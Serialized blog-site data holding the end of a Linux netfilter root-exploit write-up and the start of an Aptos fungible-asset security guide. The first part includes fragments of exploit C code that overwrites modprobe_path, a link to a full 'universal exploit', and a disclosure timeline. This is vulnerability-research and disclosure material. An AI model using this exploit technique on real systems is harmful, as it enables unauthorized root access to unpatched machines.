stdout_fd);\n",{"type":21,"tag":198,"props":60677,"children":60678},{"class":200,"line":4599},[60679],{"type":21,"tag":198,"props":60680,"children":60681},{"emptyLinePlaceholder":16},[60682],{"type":27,"value":1283},{"type":21,"tag":198,"props":60684,"children":60685},{"class":200,"line":4607},[60686,60690,60694,60698,60702,60706,60711,60715,60720,60725,60729,60733,60737],{"type":21,"tag":198,"props":60687,"children":60688},{"style":640},[60689],{"type":27,"value":4079},{"type":21,"tag":198,"props":60691,"children":60692},{"style":211},[60693],{"type":27,"value":648},{"type":21,"tag":198,"props":60695,"children":60696},{"style":698},[60697],{"type":27,"value":60530},{"type":21,"tag":198,"props":60699,"children":60700},{"style":211},[60701],{"type":27,"value":706},{"type":21,"tag":198,"props":60703,"children":60704},{"style":226},[60705],{"type":27,"value":59201},{"type":21,"tag":198,"props":60707,"children":60708},{"style":211},[60709],{"type":27,"value":60710},"[pipe_idx][",{"type":21,"tag":198,"props":60712,"children":60713},{"style":2540},[60714],{"type":27,"value":134},{"type":21,"tag":198,"props":60716,"children":60717},{"style":211},[60718],{"type":27,"value":60719},"], fd_path, ",{"type":21,"tag":198,"props":60721,"children":60722},{"style":2540},[60723],{"type":27,"value":60724},"32",{"type":21,"tag":198,"props":60726,"children":60727},{"style":211},[60728],{"type":27,"value":1541},{"type":21,"tag":198,"props":60730,"children":60731},{"style":683},[60732],{"type":27,"value":3159},{"type":21,"tag":198,"props":60734,"children":60735},{"style":2540},[60736],{"type":27,"value":3855},{"type":21,"tag":198,"props":60738,"children":60739},{"style":211},[60740],{"type":27,"value":789},{"type":21,"tag":198,"props":60742,"children":60743},{"class":200,"line":4638},[60744],{"type":21,"tag":198,"props":60745,"children":60746},{"style":211},[60747],{"type":27,"value":32446},{"type":21,"tag":198,"props":60749,"children":60750},{"class":200,"line":4646},[60751,60755,60759,60763,60767,60772],{"type":21,"tag":198,"props":60752,"children":60753},{"style":698},[60754],{"type":27,"value":58274},{"type":21,"tag":198,"props":60756,"children":60757},{"style":211},[60758],{"type":27,"value":706},{"type":21,"tag":198,"props":60760,"children":60761},{"style":205},[60762],{"type":27,"value":20854},{"type":21,"tag":198,"props":60764,"children":60765},{"style":1457},[60766],{"type":27,"value":1460},{"type":21,"tag":198,"props":60768,"children":60769},{"style":205},[60770],{"type":27,"value":60771},"[-] write(pipe)\"",{"type":21,"tag":198,"props":60773,"children":60774},{"style":211},[60775],{"type":27,"value":1470},{"type":21,"tag":198,"props":60777,"children":60778},{"class":200,"line":4706},[60779],{"type":21,"tag":198,"props":60780,"children":60781},{"style":211},[60782],{"type":27,"value":1160},{"type":21,"tag":198,"props":60784,"children":60785},{"class":200,"line":9857},[60786],{"type":21,"tag":198,"props":60787,"children":60788},{"emptyLinePlaceholder":16},[60789],{"type":27,"value":1283},{"type":21,"tag":198,"props":60791,"children":60792},{"class":200,"line":9875},[60793,60797,60801,60806],{"type":21,"tag":198,"props":60794,"children":60795},{"style":640},[60796],{"type":27,"value":4079},{"type":21,"tag":198,"props":60798,"children":60799},{"style":211},[60800],{"type":27,"value":648},{"type":21,"tag":198,"props":60802,"children":60803},{"style":698},[60804],{"type":27,"value":60805},"check_modprobe",{"type":21,"tag":198,"props":60807,"children":60808},{"style":211},[60809],{"type":27,"value":60810},"(fd_path))\n",{"type":21,"tag":198,"props":60812,"children":60813},{"class":200,"line":9920},[60814],{"type":21,"tag":198,"props":60815,"children":60816},{"style":211},[60817],{"type":27,"value":32446},{"type":21,"tag":198,"props":60819,"children":60820},{"class":200,"line":10026},[60821,60826,60830,60835],{"type":21,"tag":198,"props":60822,"children":60823},{"style":698},[60824],{"type":27,"value":60825}," puts",{"type":21,"tag":198,"props":60827,"children":60828},{"style":211},[60829],{"type":27,"value":706},{"type":21,"tag":198,"props":60831,"children":60832},{"style":205},[60833],{"type":27,"value":60834},"\"[-] failed to overwrite modprobe\"",{"type":21,"tag":198,"props":60836,"children":60837},{"style":211},[60838],{"type":27,"value":1470},{"type":21,"tag":198,"props":60840,"children":60841},{"class":200,"line":24302},[60842,60846],{"type":21,"tag":198,"props":60843,"children":60844},{"style":640},[60845],{"type":27,"value":4105},{"type":21,"tag":198,"props":60847,"children":60848},{"style":211},[60849],{"type":27,"value":1483},{"type":21,"tag":198,"props":60851,"children":60852},{"class":200,"line":24337},[60853],{"type":21,"tag":198,"props":60854,"children":60855},{"style":211},[60856],{"type":27,"value":1160},{"type":21,"tag":198,"props":60858,"children":60859},{"class":200,"line":24345},[60860],{"type":21,"tag":198,"props":60861,"children":60862},{"emptyLinePlaceholder":16},[60863],{"type":27,"value":1283},{"type":21,"tag":198,"props":60865,"children":60866},{"class":200,"line":24353},[60867,60871,60875,60880],{"type":21,"tag":198,"props":60868,"children":60869},{"style":640},[60870],{"type":27,"value":4079},{"type":21,"tag":198,"props":60872,"children":60873},{"style":211},[60874],{"type":27,"value":648},{"type":21,"tag":198,"props":60876,"children":60877},{"style":698},[60878],{"type":27,"value":60879},"trigger_modprobe",{"type":21,"tag":198,"props":60881,"children":60882},{"style":211},[60883],{"type":27,"value":60884},"(status_fd))\n",{"type":21,"tag":198,"props":60886,"children":60887},{"class":200,"line":24362},[60888],{"type":21,"tag":198,"props":60889,"children":60890},{"style":211},[60891],{"type":27,"value":32446},{"type":21,"tag":198,"props":60893,"children":60894},{"class":200,"line":24404},[60895,60899,60903,60907,60911,60916],{"type":21,"tag":198,"props":60896,"children":60897},{"style":698},[60898],{"type":27,"value":60825},{"type":21,"tag":198,"props":60900,"children":60901},{"style":211},[60902],{"type":27,"value":706},{"type":21,"tag":198,"props":60904,"children":60905},{"style":205},[60906],{"type":27,"value":20854},{"type":21,"tag":198,"props":60908,"children":60909},{"style":1457},[60910],{"type":27,"value":1460},{"type":21,"tag":198,"props":60912,"children":60913},{"style":205},[60914],{"type":27,"value":60915},"[+] got root\"",{"type":21,"tag":198,"props":60917,"children":60918},{"style":211},[60919],{"type":27,"value":1470},{"type":21,"tag":198,"props":60921,"children":60922},{"class":200,"line":24437},[60923,60928],{"type":21,"tag":198,"props":60924,"children":60925},{"style":640},[60926],{"type":27,"value":60927}," goto",{"type":21,"tag":198,"props":60929,"children":60930},{"style":211},[60931],{"type":27,"value":60932}," out;\n",{"type":21,"tag":198,"props":60934,"children":60935},{"class":200,"line":24445},[60936],{"type":21,"tag":198,"props":60937,"children":60938},{"style":211},[60939],{"type":27,"value":1160},{"type":21,"tag":198,"props":60941,"children":60942},{"class":200,"line":24453},[60943],{"type":21,"tag":198,"props":60944,"children":60945},{"emptyLinePlaceholder":16},[60946],{"type":27,"value":1283},{"type":21,"tag":198,"props":60948,"children":60949},{"class":200,"line":24462},[60950,60955,60959,60963,60967,60971,60975,60979,60983,60988,60992],{"type":21,"tag":198,"props":60951,"children":60952},{"style":640},[60953],{"type":27,"value":60954}," for",{"type":21,"tag":198,"props":60956,"children":60957},{"style":211},[60958],{"type":27,"value":648},{"type":21,"tag":198,"props":60960,"children":60961},{"style":249},[60962],{"type":27,"value":19841},{"type":21,"tag":198,"props":60964,"children":60965},{"style":211},[60966],{"type":27,"value":54920},{"type":21,"tag":198,"props":60968,"children":60969},{"style":683},[60970],{"type":27,"value":3174},{"type":21,"tag":198,"props":60972,"children":60973},{"style":2540},[60974],{"type":27,"value":3855},{"type":21,"tag":198,"props":60976,"children":60977},{"style":211},[60978],{"type":27,"value":51609},{"type":21,"tag":198,"props":60980,"children":60981},{"style":683},[60982],{"type":27,"value":3159},{"type":21,"tag":198,"props":60984,"children":60985},{"style":211},[60986],{"type":27,"value":60987}," SKBUF_SPRAY; i",{"type":21,"tag":198,"props":60989,"children":60990},{"style":683},[60991],{"type":27,"value":51645},{"type":21,"tag":198,"props":60993,"children":60994},{"style":211},[60995],{"type":27,"value":789},{"type":21,"tag":198,"props":60997,"children":60998},{"class":200,"line":24538},[60999],{"type":21,"tag":198,"props":61000,"children":61001},{"style":211},[61002],{"type":27,"value":32446},{"type":21,"tag":198,"props":61004,"children":61005},{"class":200,"line":24571},[61006,61010,61014,61019,61023,61028,61033,61037,61042,61046,61050,61055,61059,61063,61067],{"type":21,"tag":198,"props":61007,"children":61008},{"style":640},[61009],{"type":27,"value":59178},{"type":21,"tag":198,"props":61011,"children":61012},{"style":211},[61013],{"type":27,"value":648},{"type":21,"tag":198,"props":61015,"children":61016},{"style":698},[61017],{"type":27,"value":61018},"read",{"type":21,"tag":198,"props":61020,"children":61021},{"style":211},[61022],{"type":27,"value":706},{"type":21,"tag":198,"props":61024,"children":61025},{"style":226},[61026],{"type":27,"value":61027},"sock",{"type":21,"tag":198,"props":61029,"children":61030},{"style":211},[61031],{"type":27,"value":61032},"[i][",{"type":21,"tag":198,"props":61034,"children":61035},{"style":2540},[61036],{"type":27,"value":134},{"type":21,"tag":198,"props":61038,"children":61039},{"style":211},[61040],{"type":27,"value":61041},"], leak, ",{"type":21,"tag":198,"props":61043,"children":61044},{"style":2540},[61045],{"type":27,"value":58525},{"type":21,"tag":198,"props":61047,"children":61048},{"style":683},[61049],{"type":27,"value":51631},{"type":21,"tag":198,"props":61051,"children":61052},{"style":2540},[61053],{"type":27,"value":61054}," 320",{"type":21,"tag":198,"props":61056,"children":61057},{"style":211},[61058],{"type":27,"value":1541},{"type":21,"tag":198,"props":61060,"children":61061},{"style":683},[61062],{"type":27,"value":3159},{"type":21,"tag":198,"props":61064,"children":61065},{"style":2540},[61066],{"type":27,"value":3855},{"type":21,"tag":198,"props":61068,"children":61069},{"style":211},[61070],{"type":27,"value":789},{"type":21,"tag":198,"props":61072,"children":61073},{"class":200,"line":24579},[61074],{"type":21,"tag":198,"props":61075,"children":61076},{"style":211},[61077],{"type":27,"value":32482},{"type":21,"tag":198,"props":61079,"children":61080},{"class":200,"line":24587},[61081,61086,61090,61095],{"type":21,"tag":198,"props":61082,"children":61083},{"style":698},[61084],{"type":27,"value":61085}," perror",{"type":21,"tag":198,"props":61087,"children":61088},{"style":211},[61089],{"type":27,"value":706},{"type":21,"tag":198,"props":61091,"children":61092},{"style":205},[61093],{"type":27,"value":61094},"\"[-] read(socket)\"",{"type":21,"tag":198,"props":61096,"children":61097},{"style":211},[61098],{"type":27,"value":1470},{"type":21,"tag":198,"props":61100,"children":61101},{"class":200,"line":24624},[61102,61107,61111,61115],{"type":21,"tag":198,"props":61103,"children":61104},{"style":640},[61105],{"type":27,"value":61106}," return",{"type":21,"tag":198,"props":61108,"children":61109},{"style":683},[61110],{"type":27,"value":51631},{"type":21,"tag":198,"props":61112,"children":61113},{"style":2540},[61114],{"type":27,"value":134},{"type":21,"tag":198,"props":61116,"children":61117},{"style":211},[61118],{"type":27,"value":1483},{"type":21,"tag":198,"props":61120,"children":61121},{"class":200,"line":24637},[61122],{"type":21,"tag":198,"props":61123,"children":61124},{"style":211},[61125],{"type":27,"value":59262},{"type":21,"tag":198,"props":61127,"children":61128},{"class":200,"line":24650},[61129],{"type":21,"tag":198,"props":61130,"children":61131},{"style":211},[61132],{"type":27,"value":1160},{"type":21,"tag":198,"props":61134,"children":61135},{"class":200,"line":24663},[61136],{"type":21,"tag":198,"props":61137,"children":61138},{"style":211},[61139],{"type":27,"value":880},{"type":21,"tag":198,"props":61141,"children":61142},{"class":200,"line":24717},[61143,61147,61151,61156],{"type":21,"tag":198,"props":61144,"children":61145},{"style":698},[61146],{"type":27,"value":55883},{"type":21,"tag":198,"props":61148,"children":61149},{"style":211},[61150],{"type":27,"value":706},{"type":21,"tag":198,"props":61152,"children":61153},{"style":205},[61154],{"type":27,"value":61155},"\"[-] fake modprobe failed\"",{"type":21,"tag":198,"props":61157,"children":61158},{"style":211},[61159],{"type":27,"value":1470},{"type":21,"tag":198,"props":61161,"children":61162},{"class":200,"line":24726},[61163],{"type":21,"tag":198,"props":61164,"children":61165},{"style":211},[61166],{"type":27,"value":11127},{"type":21,"tag":30,"props":61168,"children":61169},{},[61170,61172,61179],{"type":27,"value":61171},"This trick has already been throughly detailed by ",{"type":21,"tag":34,"props":61173,"children":61176},{"href":61174,"rel":61175},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[38],[61177],{"type":27,"value":61178},"lau",{"type":27,"value":61180},", so we won't go much more into it.",{"type":21,"tag":59,"props":61182,"children":61184},{"id":61183},"universal-exploit-demo",[61185],{"type":27,"value":61186},"Universal exploit demo",{"type":21,"tag":30,"props":61188,"children":61189},{},[61190,61192,61198],{"type":27,"value":61191},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":21,"tag":34,"props":61193,"children":61196},{"href":61194,"rel":61195},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[38],[61197],{"type":27,"value":57792},{"type":27,"value":658},{"type":21,"tag":22,"props":61200,"children":61202},{"id":61201},"disclosure-timeline",[61203],{"type":27,"value":61204},"Disclosure Timeline",{"type":21,"tag":138,"props":61206,"children":61207},{},[61208,61213,61218,61223,61228],{"type":21,"tag":75,"props":61209,"children":61210},{},[61211],{"type":27,"value":61212},"March 21st -- Patch made public",{"type":21,"tag":75,"props":61214,"children":61215},{},[61216],{"type":27,"value":61217},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":21,"tag":75,"props":61219,"children":61220},{},[61221],{"type":27,"value":61222},"March 24th -- Wrote KernelCTF exploit",{"type":21,"tag":75,"props":61224,"children":61225},{},[61226],{"type":27,"value":61227},"March 26th -- Wrote Universal exploit",{"type":21,"tag":75,"props":61229,"children":61230},{},[61231],{"type":27,"value":61232},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":21,"tag":30,"props":61234,"children":61235},{},[61236],{"type":27,"value":61237},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":21,"tag":22,"props":61239,"children":61240},{"id":3586},[61241],{"type":27,"value":3589},{"type":21,"tag":30,"props":61243,"children":61244},{},[61245],{"type":27,"value":61246},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":21,"tag":30,"props":61248,"children":61249},{},[61250],{"type":27,"value":61251},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":21,"tag":3645,"props":61253,"children":61254},{},[61255],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":61257},[61258,61261,61264,61267,61268,61278,61286,61287],{"id":50943,"depth":217,"text":50946,"children":61259},[61260],{"id":50964,"depth":236,"text":50967},{"id":51007,"depth":217,"text":51007,"children":61262},[61263],{"id":51054,"depth":236,"text":51057},{"id":51112,"depth":217,"text":51115,"children":61265},[61266],{"id":52275,"depth":236,"text":52278},{"id":54150,"depth":217,"text":54153},{"id":54552,"depth":217,"text":54555,"children":61269},[61270,61271,61272,61274,61275,61276,61277],{"id":54579,"depth":236,"text":54582},{"id":55461,"depth":236,"text":55464},{"id":56047,"depth":236,"text":61273},"Leaking self pointer of nft_object",{"id":56445,"depth":236,"text":56448},{"id":56959,"depth":236,"text":56962},{"id":57089,"depth":236,"text":56746},{"id":57773,"depth":236,"text":57776},{"id":57796,"depth":217,"text":57799,"children":61279},[61280,61281,61282,61283,61285],{"id":57807,"depth":236,"text":57810},{"id":58665,"depth":236,"text":58668},{"id":58741,"depth":236,"text":58744},{"id":60366,"depth":236,"text":61284},"Overwriting modprobe_path",{"id":61183,"depth":236,"text":61186},{"id":61201,"depth":217,"text":61204},{"id":3586,"depth":217,"text":3589},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":61292,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":61293,"description":61294,"image":61295,"date":61297,"isFeatured":16,"onBlogPage":16,"tags":61298,"body":61299,"_type":3671,"_id":68017,"_source":3673,"_file":68018,"_stem":68019,"_extension":3676},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":61296,"width":6198,"height":6199},"/posts/aptos-guide/title.png","2025-02-10",[6692],{"type":18,"children":61300,"toc":68001},[61301,61314,61319,61328,61334,61362,61435,61475,61509,61670,61689,61770,61810,61838,61855,61860,61868,61873,61879,61900,61980,62013,62021,62034,62039,62423,62428,62433,62439,62444,62456,62560,62598,62601,62619,62927,62932,62944,62950,62976,62997,63002,63181,63201,63207,63227,63239,63244,63250,63262,63325,63352,63376,63597,63600,63619,63729,63786,63922,63949,63955,63981,64225,64253,64555,64588,64602,64628,64661,64968,64980,65257,65271,65588,65607,65613,65645,65685,65786,65806,65926,65943,66017,66029,66117,66138,66144,66149,66154,66171,66192,66563,66622,66627,67078,67083,67119,67125,67137,67159,67185,67392,67406,67661,67673,67700,67851,67870,67900,67904,67915,67920,67933,67997],{"type":21,"tag":30,"props":61302,"children":61303},{},[61304,61306,61312],{"type":27,"value":61305},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":21,"tag":194,"props":61307,"children":61309},{"className":61308},[],[61310],{"type":27,"value":61311},"coin",{"type":27,"value":61313}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":21,"tag":30,"props":61315,"children":61316},{},[61317],{"type":27,"value":61318},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":21,"tag":61320,"props":61321,"children":61322},"important",{},[61323],{"type":21,"tag":30,"props":61324,"children":61325},{},[61326],{"type":27,"value":61327},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":21,"tag":22,"props":61329,"children":61331},{"id":61330},"aptos-coin-standard",[61332],{"type":27,"value":61333},"Aptos Coin standard",{"type":21,"tag":30,"props":61335,"children":61336},{},[61337,61339,61345,61347,61352,61353,61360],{"type":27,"value":61338},"In the beginning, Aptos used ",{"type":21,"tag":194,"props":61340,"children":61342},{"className":61341},[],[61343],{"type":27,"value":61344},"Coin",{"type":27,"value":61346},". It is still in use, although it is now considered \"legacy\". ",{"type":21,"tag":194,"props":61348,"children":61350},{"className":61349},[],[61351],{"type":27,"value":61344},{"type":27,"value":6314},{"type":21,"tag":34,"props":61354,"children":61357},{"href":61355,"rel":61356},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[38],[61358],{"type":27,"value":61359},"defined",{"type":27,"value":61361}," in Aptos as follows:",{"type":21,"tag":187,"props":61363,"children":61365},{"className":3789,"code":61364,"language":3788,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[61366],{"type":21,"tag":194,"props":61367,"children":61368},{"__ignoreMap":7},[61369,61408,61428],{"type":21,"tag":198,"props":61370,"children":61371},{"class":200,"line":201},[61372,61376,61380,61384,61388,61392,61396,61400,61404],{"type":21,"tag":198,"props":61373,"children":61374},{"style":249},[61375],{"type":27,"value":10213},{"type":21,"tag":198,"props":61377,"children":61378},{"style":1966},[61379],{"type":27,"value":6615},{"type":21,"tag":198,"props":61381,"children":61382},{"style":211},[61383],{"type":27,"value":3159},{"type":21,"tag":198,"props":61385,"children":61386},{"style":226},[61387],{"type":27,"value":6624},{"type":21,"tag":198,"props":61389,"children":61390},{"style":1966},[61391],{"type":27,"value":6629},{"type":21,"tag":198,"props":61393,"children":61394},{"style":211},[61395],{"type":27,"value":6634},{"type":21,"tag":198,"props":61397,"children":61398},{"style":226},[61399],{"type":27,"value":6639},{"type":21,"tag":198,"props":61401,"children":61402},{"style":226},[61403],{"type":27,"value":6644},{"type":21,"tag":198,"props":61405,"children":61406},{"style":211},[61407],{"type":27,"value":233},{"type":21,"tag":198,"props":61409,"children":61410},{"class":200,"line":217},[61411,61416,61420,61424],{"type":21,"tag":198,"props":61412,"children":61413},{"style":226},[61414],{"type":27,"value":61415}," value",{"type":21,"tag":198,"props":61417,"children":61418},{"style":683},[61419],{"type":27,"value":185},{"type":21,"tag":198,"props":61421,"children":61422},{"style":1966},[61423],{"type":27,"value":6673},{"type":21,"tag":198,"props":61425,"children":61426},{"style":211},[61427],{"type":27,"value":257},{"type":21,"tag":198,"props":61429,"children":61430},{"class":200,"line":236},[61431],{"type":21,"tag":198,"props":61432,"children":61433},{"style":211},[61434],{"type":27,"value":1120},{"type":21,"tag":30,"props":61436,"children":61437},{},[61438,61440,61445,61447,61453,61454,61460,61462,61467,61469,61474],{"type":27,"value":61439},"Aptos distinguishes coins by their type (",{"type":21,"tag":194,"props":61441,"children":61443},{"className":61442},[],[61444],{"type":27,"value":7395},{"type":27,"value":61446},") at compile time. For example, ",{"type":21,"tag":194,"props":61448,"children":61450},{"className":61449},[],[61451],{"type":27,"value":61452},"Coin\u003COtter>",{"type":27,"value":11801},{"type":21,"tag":194,"props":61455,"children":61457},{"className":61456},[],[61458],{"type":27,"value":61459},"Coin\u003CWeasel>",{"type":27,"value":61461}," represent different coins, and you cannot pass a ",{"type":21,"tag":194,"props":61463,"children":61465},{"className":61464},[],[61466],{"type":27,"value":61459},{"type":27,"value":61468}," to a function expecting ",{"type":21,"tag":194,"props":61470,"children":61472},{"className":61471},[],[61473],{"type":27,"value":61452},{"type":27,"value":658},{"type":21,"tag":30,"props":61476,"children":61477},{},[61478,61480,61485,61487,61492,61494,61499,61501,61507],{"type":27,"value":61479},"The type signature reveals why ",{"type":21,"tag":194,"props":61481,"children":61483},{"className":61482},[],[61484],{"type":27,"value":61344},{"type":27,"value":61486}," has become a legacy standard. ",{"type":21,"tag":194,"props":61488,"children":61490},{"className":61489},[],[61491],{"type":27,"value":61344},{"type":27,"value":61493}," has only the ",{"type":21,"tag":194,"props":61495,"children":61497},{"className":61496},[],[61498],{"type":27,"value":6753},{"type":27,"value":61500}," ability and uses a ",{"type":21,"tag":194,"props":61502,"children":61504},{"className":61503},[],[61505],{"type":27,"value":61506},"CoinStore",{"type":27,"value":61508}," wrapper to store the coin and metadata:",{"type":21,"tag":187,"props":61510,"children":61512},{"className":3789,"code":61511,"language":3788,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[61513],{"type":21,"tag":194,"props":61514,"children":61515},{"__ignoreMap":7},[61516,61556,61584,61604,61634,61663],{"type":21,"tag":198,"props":61517,"children":61518},{"class":200,"line":201},[61519,61523,61528,61532,61536,61540,61544,61548,61552],{"type":21,"tag":198,"props":61520,"children":61521},{"style":249},[61522],{"type":27,"value":10213},{"type":21,"tag":198,"props":61524,"children":61525},{"style":1966},[61526],{"type":27,"value":61527}," CoinStore",{"type":21,"tag":198,"props":61529,"children":61530},{"style":211},[61531],{"type":27,"value":3159},{"type":21,"tag":198,"props":61533,"children":61534},{"style":226},[61535],{"type":27,"value":6624},{"type":21,"tag":198,"props":61537,"children":61538},{"style":1966},[61539],{"type":27,"value":6629},{"type":21,"tag":198,"props":61541,"children":61542},{"style":211},[61543],{"type":27,"value":6634},{"type":21,"tag":198,"props":61545,"children":61546},{"style":226},[61547],{"type":27,"value":6639},{"type":21,"tag":198,"props":61549,"children":61550},{"style":226},[61551],{"type":27,"value":6744},{"type":21,"tag":198,"props":61553,"children":61554},{"style":211},[61555],{"type":27,"value":233},{"type":21,"tag":198,"props":61557,"children":61558},{"class":200,"line":217},[61559,61564,61568,61572,61576,61580],{"type":21,"tag":198,"props":61560,"children":61561},{"style":226},[61562],{"type":27,"value":61563}," coin",{"type":21,"tag":198,"props":61565,"children":61566},{"style":683},[61567],{"type":27,"value":185},{"type":21,"tag":198,"props":61569,"children":61570},{"style":1966},[61571],{"type":27,"value":6615},{"type":21,"tag":198,"props":61573,"children":61574},{"style":211},[61575],{"type":27,"value":3159},{"type":21,"tag":198,"props":61577,"children":61578},{"style":1966},[61579],{"type":27,"value":7395},{"type":21,"tag":198,"props":61581,"children":61582},{"style":211},[61583],{"type":27,"value":6950},{"type":21,"tag":198,"props":61585,"children":61586},{"class":200,"line":236},[61587,61592,61596,61600],{"type":21,"tag":198,"props":61588,"children":61589},{"style":226},[61590],{"type":27,"value":61591}," frozen",{"type":21,"tag":198,"props":61593,"children":61594},{"style":683},[61595],{"type":27,"value":185},{"type":21,"tag":198,"props":61597,"children":61598},{"style":1966},[61599],{"type":27,"value":12860},{"type":21,"tag":198,"props":61601,"children":61602},{"style":211},[61603],{"type":27,"value":257},{"type":21,"tag":198,"props":61605,"children":61606},{"class":200,"line":260},[61607,61612,61616,61621,61625,61630],{"type":21,"tag":198,"props":61608,"children":61609},{"style":226},[61610],{"type":27,"value":61611}," deposit_events",{"type":21,"tag":198,"props":61613,"children":61614},{"style":683},[61615],{"type":27,"value":185},{"type":21,"tag":198,"props":61617,"children":61618},{"style":1966},[61619],{"type":27,"value":61620}," EventHandle",{"type":21,"tag":198,"props":61622,"children":61623},{"style":211},[61624],{"type":27,"value":3159},{"type":21,"tag":198,"props":61626,"children":61627},{"style":1966},[61628],{"type":27,"value":61629},"DepositEvent",{"type":21,"tag":198,"props":61631,"children":61632},{"style":211},[61633],{"type":27,"value":6950},{"type":21,"tag":198,"props":61635,"children":61636},{"class":200,"line":281},[61637,61642,61646,61650,61654,61659],{"type":21,"tag":198,"props":61638,"children":61639},{"style":226},[61640],{"type":27,"value":61641}," withdraw_events",{"type":21,"tag":198,"props":61643,"children":61644},{"style":683},[61645],{"type":27,"value":185},{"type":21,"tag":198,"props":61647,"children":61648},{"style":1966},[61649],{"type":27,"value":61620},{"type":21,"tag":198,"props":61651,"children":61652},{"style":211},[61653],{"type":27,"value":3159},{"type":21,"tag":198,"props":61655,"children":61656},{"style":1966},[61657],{"type":27,"value":61658},"WithdrawEvent",{"type":21,"tag":198,"props":61660,"children":61661},{"style":211},[61662],{"type":27,"value":6950},{"type":21,"tag":198,"props":61664,"children":61665},{"class":200,"line":302},[61666],{"type":21,"tag":198,"props":61667,"children":61668},{"style":211},[61669],{"type":27,"value":1120},{"type":21,"tag":30,"props":61671,"children":61672},{},[61673,61675,61680,61682,61687],{"type":27,"value":61674},"However, an astute reader would note that this isn't the only place a ",{"type":21,"tag":194,"props":61676,"children":61678},{"className":61677},[],[61679],{"type":27,"value":61344},{"type":27,"value":61681}," can be stored. You can create your own ",{"type":21,"tag":194,"props":61683,"children":61685},{"className":61684},[],[61686],{"type":27,"value":61344},{"type":27,"value":61688}," wallet, which could look like this:",{"type":21,"tag":187,"props":61690,"children":61692},{"className":3789,"code":61691,"language":3788,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[61693],{"type":21,"tag":194,"props":61694,"children":61695},{"__ignoreMap":7},[61696,61736,61763],{"type":21,"tag":198,"props":61697,"children":61698},{"class":200,"line":201},[61699,61703,61708,61712,61716,61720,61724,61728,61732],{"type":21,"tag":198,"props":61700,"children":61701},{"style":249},[61702],{"type":27,"value":10213},{"type":21,"tag":198,"props":61704,"children":61705},{"style":1966},[61706],{"type":27,"value":61707}," DefinitelyLegitCoinStore",{"type":21,"tag":198,"props":61709,"children":61710},{"style":211},[61711],{"type":27,"value":3159},{"type":21,"tag":198,"props":61713,"children":61714},{"style":226},[61715],{"type":27,"value":6624},{"type":21,"tag":198,"props":61717,"children":61718},{"style":1966},[61719],{"type":27,"value":6629},{"type":21,"tag":198,"props":61721,"children":61722},{"style":211},[61723],{"type":27,"value":6634},{"type":21,"tag":198,"props":61725,"children":61726},{"style":226},[61727],{"type":27,"value":6639},{"type":21,"tag":198,"props":61729,"children":61730},{"style":226},[61731],{"type":27,"value":6744},{"type":21,"tag":198,"props":61733,"children":61734},{"style":211},[61735],{"type":27,"value":233},{"type":21,"tag":198,"props":61737,"children":61738},{"class":200,"line":217},[61739,61743,61747,61751,61755,61759],{"type":21,"tag":198,"props":61740,"children":61741},{"style":226},[61742],{"type":27,"value":61563},{"type":21,"tag":198,"props":61744,"children":61745},{"style":683},[61746],{"type":27,"value":185},{"type":21,"tag":198,"props":61748,"children":61749},{"style":1966},[61750],{"type":27,"value":6615},{"type":21,"tag":198,"props":61752,"children":61753},{"style":211},[61754],{"type":27,"value":3159},{"type":21,"tag":198,"props":61756,"children":61757},{"style":1966},[61758],{"type":27,"value":7395},{"type":21,"tag":198,"props":61760,"children":61761},{"style":211},[61762],{"type":27,"value":3203},{"type":21,"tag":198,"props":61764,"children":61765},{"class":200,"line":236},[61766],{"type":21,"tag":198,"props":61767,"children":61768},{"style":211},[61769],{"type":27,"value":1120},{"type":21,"tag":30,"props":61771,"children":61772},{},[61773,61778,61780,61786,61788,61793,61795,61801,61803,61808],{"type":21,"tag":194,"props":61774,"children":61776},{"className":61775},[],[61777],{"type":27,"value":61506},{"type":27,"value":61779}," includes a ",{"type":21,"tag":194,"props":61781,"children":61783},{"className":61782},[],[61784],{"type":27,"value":61785},"frozen",{"type":27,"value":61787}," field, allowing the issuer to block transfers to and from the store. 